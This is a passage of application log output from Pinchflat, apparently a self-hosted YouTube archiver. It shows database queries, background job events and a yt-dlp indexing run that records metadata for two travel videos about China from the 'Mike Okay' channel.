"media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:20:59.277 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:20:59.277 [debug] QUERY OK source="media_items" db=0.0ms idle=2.0ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 17:20:59.278 [debug] QUERY OK source="tasks" db=0.2ms idle=1.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17067, 1, ~U[2026-08-20 00:20:59Z], ~U[2026-08-20 00:20:59Z]] 17:20:59.279 [info] {"args":{"id":1},"id":17064,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":13221436,"event":"job:stop","queue_time":515624,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 17:21:00.056 [info] {"source":"oban","duration":321,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:21:16.883 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:46.885 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:00.057 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:22:16.887 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:46.889 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:00.058 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:23:16.891 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:46.893 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:00.059 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:24:16.895 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:46.897 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:00.060 [info] {"source":"oban","duration":301,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:25:16.899 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:46.901 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:00.061 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:26:16.903 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:46.495 [info] {"args":{"id":3},"id":17065,"meta":{},"system_time":1787185606495122087,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 17:26:46.495 [debug] QUERY OK source="sources" db=0.1ms idle=211.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:26:46.495 [debug] QUERY OK source="settings" db=0.2ms idle=212.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:46.496 [debug] QUERY OK source="media_items" db=0.4ms idle=212.7ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:26:46.496 [debug] QUERY OK source="media_items" db=0.1ms idle=8.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 17:26:46.497 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:26:46.497 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:46.497 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:46.502 [debug] QUERY OK source="media_items" db=0.6ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [3] 17:26:46.504 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 17:26:46.504 [debug] Current batch of media processed. Will check again in 1000ms 17:26:46.504 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:46.504 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:46.504 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:46.504 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@mikeokay --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Mike Okay/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/25/57/25578ef7cc0b9c71bebdeb1021ac6f1639660574e2474ce30142837561d0999b.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a2/23/a223d6170b95464a782d044afa0aa830cffb12b01c20d617310454910c6d2743.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:26:46.905 [info] {"source":"oban","duration":1167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:47.505 [debug] Current batch of media processed. Will check again in 1000ms 17:26:48.506 [debug] Current batch of media processed. Will check again in 1000ms 17:26:49.507 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "duration" => 2174, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", "id" => "qYWhjW08-pc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=qYWhjW08-pc", "playlist_index" => 1, "timestamp" => 1785508965, "title" => "China's Working Class Is Live-Streaming To Survive", "upload_date" => "20260731"} 17:26:49.508 [debug] QUERY OK source="sources" db=0.2ms idle=1224.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:26:49.508 [debug] QUERY OK source="sources" db=0.1ms idle=1224.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:26:49.508 [debug] QUERY OK source="media_items" db=0.3ms idle=1224.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-31 14:42:45Z], 3] 17:26:49.510 [debug] QUERY OK source="media_items" db=1.0ms idle=1018.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "4da79501-ab0d-45be-86bb-677f901a49db", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", 1, "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, false, false, 3, [], 98, ~U[2026-07-31 14:42:45Z], ~U[2026-08-20 00:26:49Z], ~U[2026-08-20 00:26:49Z], "Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, 3, ~U[2026-07-31 14:42:45Z]] 17:26:49.510 [debug] QUERY OK source="sources" db=0.1ms idle=18.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:26:49.510 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:26:49.511 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [404257] 17:26:49.511 [debug] Current batch of media processed. Will check again in 1000ms 17:26:50.512 [debug] Current batch of media processed. Will check again in 1000ms 17:26:51.513 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "duration" => 2334, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", "id" => "k8tdg6v0FQo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=k8tdg6v0FQo", "playlist_index" => 2, "timestamp" => 1784303950, "title" => "China's Most Viral City Is Hiding a Dying Job", "upload_date" => "20260717"} 17:26:51.514 [debug] QUERY OK source="sources" db=0.3ms idle=230.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:26:51.514 [debug] QUERY OK source="sources" db=0.2ms idle=230.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:26:51.515 [debug] QUERY OK source="media_items" db=0.3ms idle=231.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-17 15:59:10Z], 3] 17:26:51.516 [debug] QUERY OK source="media_items" db=1.0ms idle=231.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "24128414-5b13-41d4-8a17-fa0f1eeb645a", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", 2, "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, false, false, 3, [], 98, ~U[2026-07-17 15:59:10Z], ~U[2026-08-20 00:26:51Z], ~U[2026-08-20 00:26:51Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, 3, ~U[2026-07-17 15:59:10Z]] 17:26:51.517 [debug] QUERY OK source="sources" db=0.2ms idle=22.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:26:51.517 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:26:51.518 [debug] QUERY OK source="media_items" db=0.3ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS 